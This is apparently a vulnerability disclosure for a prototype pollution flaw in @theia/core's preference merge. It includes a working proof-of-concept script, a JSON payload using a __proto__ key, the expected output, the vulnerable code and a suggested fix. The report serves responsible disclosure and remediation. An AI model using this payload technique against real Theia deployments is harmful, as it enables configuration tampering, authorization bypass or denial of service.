[Eclipse Theia] Prototype Pollution in @theia/core PreferenceService preference merge

Affected Package

@theia/core

Verified affected versions:

  • 1.72.3
  • 1.73.1 current npm latest

Summary

@theia/core exposes PreferenceUtils.merge() from the package root and uses it inside PreferenceServiceImpl.doResolve() to merge preference values from multiple scopes.

The merge implementation iterates Object.entries(target) and assigns source[key] = JSONExt.deepCopy(value) without rejecting prototype-pollution keys. If a preference value object contains an own enumerable __proto__ property, source["__proto__"] resolves to Object.prototype, and attacker-controlled nested properties are written onto Object.prototype.

This is reachable through the real preference resolution flow, not only by calling a standalone utility function. PreferenceServiceImpl.doResolve() calls:

result.value = PreferenceUtils.merge(result.value, value);

for each preference provider/scope.

Install

mkdir theia-pref-pp && cd theia-pref-pp
npm init -y
npm i @theia/core@1.73.1

PoC

Create poc.cjs:

const { PreferenceServiceImpl, PreferenceScope } = require('@theia/core');

const svc = new PreferenceServiceImpl();

svc.schemaService = {
  validScopes: [PreferenceScope.User, PreferenceScope.Workspace]
};

const userProvider = {
  canHandleScope: () => true,
  resolve: () => ({
    configUri: 'user-settings.json',
    value: { safe: true }
  })
};

const workspaceProvider = {
  canHandleScope: () => true,
  resolve: () => ({
    configUri: 'workspace-settings.json',
    value: JSON.parse(
      '{"__proto__":{"theiaPrefPP":"PWNED_VIA_PREFERENCE_SERVICE"}}'
    )
  })
};

svc.preferenceProviders.set(PreferenceScope.User, userProvider);
svc.preferenceProviders.set(PreferenceScope.Workspace, workspaceProvider);

delete Object.prototype.theiaPrefPP;

try {
  const resolved = svc.doResolve('any.preference', undefined);
  console.log('resolved value keys:', Object.keys(resolved.value || {}).join(','));
  console.log(Object.prototype.theiaPrefPP);
  console.log(({}).theiaPrefPP);
} finally {
  delete Object.prototype.theiaPrefPP;
}

Run:

node poc.cjs

Expected output:

resolved value keys: safe
PWNED_VIA_PREFERENCE_SERVICE
PWNED_VIA_PREFERENCE_SERVICE

Root Cause

Affected code:

@theia/core/lib/common/preferences/preference-provider.js

function merge(source, target) {
  if (source === undefined || !JSONExt.isObject(source)) {
    return JSONExt.deepCopy(target);
  }
  if (JSONExt.isPrimitive(target)) {
    return {};
  }
  for (const [key, value] of Object.entries(target)) {
    if (key in source) {
      const sourceValue = source[key];
      if (JSONExt.isObject(sourceValue) && JSONExt.isObject(value)) {
        merge(sourceValue, value);
        continue;
      }
    }
    source[key] = JSONExt.deepCopy(value);
  }
  return source;
}

When key is __proto__, source[key] is Object.prototype. Because both Object.prototype and the attacker value are JSON objects, the recursive merge writes attacker-controlled fields to Object.prototype.

Reachable code:

@theia/core/lib/common/preferences/preference-service.js

result.value = PreferenceUtils.merge(result.value, value);

Impact

Theia applications commonly resolve preferences from user, workspace, and folder configuration. If an attacker can influence a preference object loaded into a provider, such as workspace settings, remote/project configuration, extension-provided configuration, or imported preferences, resolving that preference can pollute Object.prototype inside the Theia frontend/backend process.

This can affect later plain-object reads across the application and may cause logic tampering, unexpected inherited configuration values, authorization/configuration bypasses, or denial of service depending on host application behavior.

Suggested Fix

Reject prototype-pollution keys before reading, assigning, or recursing:

  • __proto__
  • constructor
  • prototype

Also avoid key in source for untrusted keys and prefer own-property checks such as Object.prototype.hasOwnProperty.call(source, key).